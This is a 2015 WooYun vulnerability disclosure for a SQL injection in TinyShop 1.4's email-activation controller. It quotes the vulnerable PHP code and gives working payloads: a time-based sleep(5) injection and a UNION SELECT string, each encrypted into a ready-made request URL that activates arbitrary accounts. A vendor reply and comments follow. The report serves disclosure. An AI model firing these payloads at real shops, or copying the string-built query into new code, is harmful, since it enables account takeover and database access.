当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0106817

漏洞标题:TinyShop SQL注入

相关厂商:tinyrise.com

漏洞作者: zxx

提交时间:2015-04-13 16:17

修复时间:2015-07-12 16:30

公开时间:2015-07-12 16:30

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-13: 细节已通知厂商并且等待厂商处理中
2015-04-13: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-06-07: 细节向核心白帽子及相关领域专家公开
2015-06-17: 细节向普通白帽子公开
2015-06-27: 细节向实习白帽子公开
2015-07-12: 细节向公众公开

简要描述:

1.4

详细说明:

1.4更新内容中
4、增加是否开启邮箱注册验证功能(防止垃圾用户注册),同时加入token防止一些自动注册软件的注册。
看了一下
/protected/controllers/simple.php中

//账户激活邮件认证
public function activation_user()
{
$code =Filter::text(Req::args('code')); //获取code参数
$email_code = substr($code,32);
$valid_code = substr($code,0,32);
$email = Crypt::decode($email_code); //利用decode函数进行解密
$model = new Model('user');
$user = $model->where("email='".$email."'")->find();
if($user && $user['status']==0 && md5($user['validcode'])==$valid_code){
$model->data(array('status'=>1))->where('id='.$user['id'])->update();
$this->redirect("/index/msg",false,array('type'=>"success","msg"=>'账户激活成功',"content"=>"账户通过邮件成功激活。","redirect"=>"/simple/login"));
}else{
$this->redirect("/index/msg",false,array('type'=>"fail","msg"=>'账户激活失败',"content"=>"你的连接地址无效,无法进行账户激活,请核实你的连接地址无误。"));
}
}


漏洞证明:

这里的加解密方法都提供了所以直接对我们的payload用对应加密函数进行加密,就行
payload test123@qq.com' or sleep(5) #
无论有没有email为test123@qq.com的用户,都会延时5秒
echo Crypt::encode("test123@qq.com' and sleep(5) #")
得到
cdd5ae92abMjA0OTk1MDc5NWczOGVjMTNhODZkNjk4OzNnNGI3ZTdzZXN0NzszRXJ3LmVtbiQjaW1sIHdoZWVwKDwpJSM
前面加上任意32位作为校验码,这里我用md5(a)=0cc175b9c0f1b6a831c399e269772661
最后code为0cc175b9c0f1b6a831c399e269772661cdd5ae92abMjA0OTk1MDc5NWczOGVjMTNhODZkNjk4OzNnNGI3ZTdzZXN0NzszRXJ3LmVtbiQjaW1sIHdoZWVwKDwpJSM
没有回显,用延时注入证明:
http://localhost/tinyshop/index.php?con=simple&act=activation_user&code=0cc175b9c0f1b6a831c399e269772661cdd5ae92abMjA0OTk1MDc5NWczOGVjMTNhODZkNjk4OzNnNGI3ZTdzZXN0NzszRXJ3LmVtbiQjaW1sIHdoZWVwKDwpJSM

屏幕快照 2015-04-09 下午2.28.08.png

屏幕快照 2015-04-09 下午2.33.35.png


构造poc,完全绕过邮箱验证,验证任意邮箱,先后台开启邮箱激活验证
加密前:test123@qq.com' union select 4,2,3,4,5,'a',0 #
4为要激活的账号 a为MD5前的验证码,与code前32位匹配,0对应status
http://localhost/tinyshop/index.php?con=simple&act=activation_user&code=0cc175b9c0f1b6a831c399e269772661ff14e1a529NTMwMDA3OTAyNmRhOWE1YTViazVjMzpkOjFlZGIyNGx9ZXR0MXlvdX5pMUMxNzIqZGdtJyByZmlvbSB7Z2thYHIgNiw7KTMpNC81LSdoLy8wJSY
证明:

屏幕快照 2015-04-09 下午2.12.10.png

屏幕快照 2015-04-09 下午2.18.40.png

屏幕快照 2015-04-09 下午2.19.05.png

修复方案:

对解密后的email处理一下

版权声明:转载请注明来源 zxx@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-07-12 16:30

厂商回复:

首先谢谢你的关注,此问题已经有人反馈,我们只能确认最先提出的那个人的,不过还是谢谢你对tinyshop的关注与支持。

漏洞Rank:4 (WooYun评价)

最新状态:

暂无


漏洞评价:

评论

  1. 2015-04-13 21:36 | darker ( 路人 | Rank:25 漏洞数:26 | = =)

    前排围观zxx、

  2. 2015-04-14 11:48 | zxx ( 实习白帽子 | Rank:57 漏洞数:23 | com)

    @darker 说好带我日站呢

  3. 2015-06-25 21:17 | 明月影 ( 路人 | Rank:12 漏洞数:8 | 学姿势,学思路。)

    说好的带我日站呢